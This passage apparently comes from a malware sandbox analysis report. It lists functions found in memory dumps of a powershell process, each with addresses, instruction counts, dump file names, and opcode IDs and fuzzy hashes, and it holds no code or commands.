                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 00526932A0EB891FE767D72858696B57BE1EF93B20B1A01FBD08DC7193DD58AC058341
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D6C2D5 Relevance: 1.8, Strings: 1, Instructions: 531COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: `_H
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-648823407
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e306daeb2e382215a462f33b142501650734d05a6881cb91d61baa7ac2d6c6e1
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bf076d1b18c505661b6c187e6c64b8450dcae1549d9854c06f6380fc1e38c09f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e306daeb2e382215a462f33b142501650734d05a6881cb91d61baa7ac2d6c6e1
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F9F10130A18A4D8FDB84DF6CD445AA97BE1FF6A300F1441BAD44DD72A6CA64FC86C781
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D6B205 Relevance: .7, Instructions: 727COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c20b15fa49a544b66910ec6f2a851f4d38b86f4970b93fe7c1d3541ee55f9062
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a98170085bb529701500aba9c86b0c280aa6383347d336feef3a5a2f5301dfde
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c20b15fa49a544b66910ec6f2a851f4d38b86f4970b93fe7c1d3541ee55f9062
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0F32E530A1CA498FEB88DF1CC895AA97BE1FF59710F14416DD08EC7292CA75F846CB81
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D63CC0 Relevance: .6, Instructions: 576COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: dedb307653017ee3ba1ca04410fbb4d14ce0508d4b94837812bb81fe295f294e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 633b7c0a6ff1f7fe16e7491c6b68b959b795464aa00df1da5a4f2b811001bf5a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dedb307653017ee3ba1ca04410fbb4d14ce0508d4b94837812bb81fe295f294e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 29122732B1D9894FEB51CF1CA4457A9BFE1FF96710F1441BAD088C7287DAA4B84B8781
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E353A0 Relevance: .6, Instructions: 564COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 513a3fa476dc381e9c99be22feb6909347849cbbb414bbfd825a887c7c084b7f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 767b489b7b89ba4e5f98c3f0bb53fe577c3661400579a6eb1e917de9a1e9de38
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 513a3fa476dc381e9c99be22feb6909347849cbbb414bbfd825a887c7c084b7f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3EF1F432A0E7C56FE757C72858596B57FA1EF63A20B1A01FBD0C9CB2D3D9486C058352
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E30ACD Relevance: .3, Instructions: 348COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 65c40ba7353fbca48eda508b1be3781a38b91f656edfff7ab2a38d477ce45d7c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fc6602fa45ee35638bce6ef644ac1f0dd9343f5a2dd506fa73669f235e7786e9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 65c40ba7353fbca48eda508b1be3781a38b91f656edfff7ab2a38d477ce45d7c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 13A11272A0EA8A1FE7A7D76818642B57BE1EF47724B2A01FAD08DC7193DD48AC058351
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D6620D Relevance: .3, Instructions: 346COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 15c2d8928c22e5539b05686e357d888975c1291715b430c6ef95a3e891e56c27
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 78e753bbf38515e5e91b907b999210092048c1dd43bf188b37b991e89ef7ed97
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 15c2d8928c22e5539b05686e357d888975c1291715b430c6ef95a3e891e56c27
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2DB17A30A18A0E8FDF94DF5CC495AA9BBE1FFA9700F144269D44DD7285CA74F886CB80
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D6B99C Relevance: .3, Instructions: 271COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 74ec07eee4acfc220d3169eb0239a8c0a6145e3be9dd7168f1af77582484258e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 086ace9c7d2169c1a8e657ed7b709b70c0bbb09b5b19496bc97f5149c776f3ca
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 74ec07eee4acfc220d3169eb0239a8c0a6145e3be9dd7168f1af77582484258e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C381343062CB498FE759EF28C895AB5B7E1EF96710F0004BDD08AC76A3DA65B846C741
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D694A8 Relevance: .3, Instructions: 253COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 91681130fcfd4a268a0e32d6ebe0ed96322dfd1438e253ed262d5ba6c7e211ac
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5ae7604698c48dc5f2ff9e9b03caa1494ba77daf88cc47ee624a969e9343a501
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 91681130fcfd4a268a0e32d6ebe0ed96322dfd1438e253ed262d5ba6c7e211ac
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C1115B7180E7C94FD7079B348C295957FB0EF63214B0A01DBE499CB1E3D669A849C7A2
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D60FD9 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: df05906545a729eda6f3ce17022b1bc5b1d9435735eaf427e6b85951e845248a
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 499ad148b9682ac6f40512418de5565236e92bbb5ba28e1baa79a78df8b570b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: df05906545a729eda6f3ce17022b1bc5b1d9435735eaf427e6b85951e845248a
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2C512A31A1DA894FD744DB28D454BA6B7E1FFC6310F0486BBE08DC7192CE68A989C781
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D68B25 Relevance: .1, Instructions: 131COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 10c4fd9f783192045afee15471ddf9c3f0835d5e52b72ae0ab82d66f2c098743
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 08a580582d24697bdd36179c9702aee4e263e28b3eca719fab5d3f72176a9bf2
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 10c4fd9f783192045afee15471ddf9c3f0835d5e52b72ae0ab82d66f2c098743
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4131E43191CB488FDB19DB5C9C4A6A97BE0FB99721F00426FE449C3252DB74A856CBC3
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D6C31C Relevance: .1, Instructions: 108COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6ecac624deac8e7165cbd3b189358146ebe91a2ed02986102d3f6325021ac97c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ce4030e8779617f4fa11da194b8a99bfa1b06d1e09c43bc87c790ae039084493
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6ecac624deac8e7165cbd3b189358146ebe91a2ed02986102d3f6325021ac97c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8B21D33161D9094FEB48EB1CE859AB577D1EB9A720B10017ED489C7252DD66BC83C781
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E30B9A Relevance: .1, Instructions: 103COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5fb9a0d7dbb42ede0c302e468ad54fd68b4a912f626d9873beed8aff202ae096
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 424fa5ec1ae70f389a3cc4dbd2afc5bcddc1a66517256e521fda30f7fa311f2b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5fb9a0d7dbb42ede0c302e468ad54fd68b4a912f626d9873beed8aff202ae096
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6831C472F0EA861FF7A7D76818652787AD1EF47764B2A40BAD08DC71E3CE48B8058301
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D69818 Relevance: .1, Instructions: 102COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 967118ba6bbc67f836afc3e2e1d92e0779c1daa2d43cb9cb21c32600427bffb7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: efce5d83e03a08a19c96f3cebbac877366f452fd3194bf3cb9334b1ba001a4ee
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 967118ba6bbc67f836afc3e2e1d92e0779c1daa2d43cb9cb21c32600427bffb7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3A21E77090CA4C8FDB58DFAC9C4A7E97BE0EB56321F04816FD44DC3152DA74A45ACB92
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E3515F Relevance: .1, Instructions: 93COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d8555345c872b16b5920a536830fda34fbb8914ef81112f73b6a68488cf1b9de
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b0d2e8849d4821bb90bb1ceebc55b446739ea4cf55a4e4f6551a4721723326a9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d8555345c872b16b5920a536830fda34fbb8914ef81112f73b6a68488cf1b9de
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C221E632F0EF465FE6A6DB18955937477D1EF66B20B6A00BBC49EC3292EE58FC014241
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D637A1 Relevance: .1, Instructions: 87COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 31a53b72f4ad9e71e0804bb7e99abaea2ef2a7bf77a6323917eaabc3997d6fbd
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2f0560dc4728be6e14131b50e85e73e710adcc56af03012b337df93fdc802231
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 31a53b72f4ad9e71e0804bb7e99abaea2ef2a7bf77a6323917eaabc3997d6fbd
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C7213531A289498FDF94EF58E445EE9B7A1EF69710F14016AD00DD3286CA24F882CBC2
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E3544C Relevance: .1, Instructions: 62COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e66437a07b3f17401516af003225a649cb608c22bf518a1c29d81ee12ffde459
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 073e5caefce150d9c2fadcf2184e29789cd973161e7c84dd9d1ec2a2cda6f25c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e66437a07b3f17401516af003225a649cb608c22bf518a1c29d81ee12ffde459
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0D117732F0E6455FE2AADB1894597B877D1EF66B31B6A00BBD08EC7292D955AC008341
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D62B55 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 219637a1c408b21db93e39eb6795dabb53121ec73d629acad37ec6375f4d2594
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 0b44800d90980163aee0520650472b6d2db8828f73b09ef6b4e8271968082d33
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 219637a1c408b21db93e39eb6795dabb53121ec73d629acad37ec6375f4d2594
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0A01677115CB0C4FDB44EF0CE451AA6B7E0FB95324F10056DE58AC3695DA36E882CB46
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D630D8 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3481957a528d8465e57627f33409af4c0aff8cf0bc95d0456722574cfd6a196e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e7b16bcf24d29249c38ad2f62be0f540271f3b4f63610d9cf2bdd7283f0d96d9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3481957a528d8465e57627f33409af4c0aff8cf0bc95d0456722574cfd6a196e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34F0303276C6044FDB4CAA1CF8529B573D1EB9A320B10057EE48BC3696D927F8868686
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D63094 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
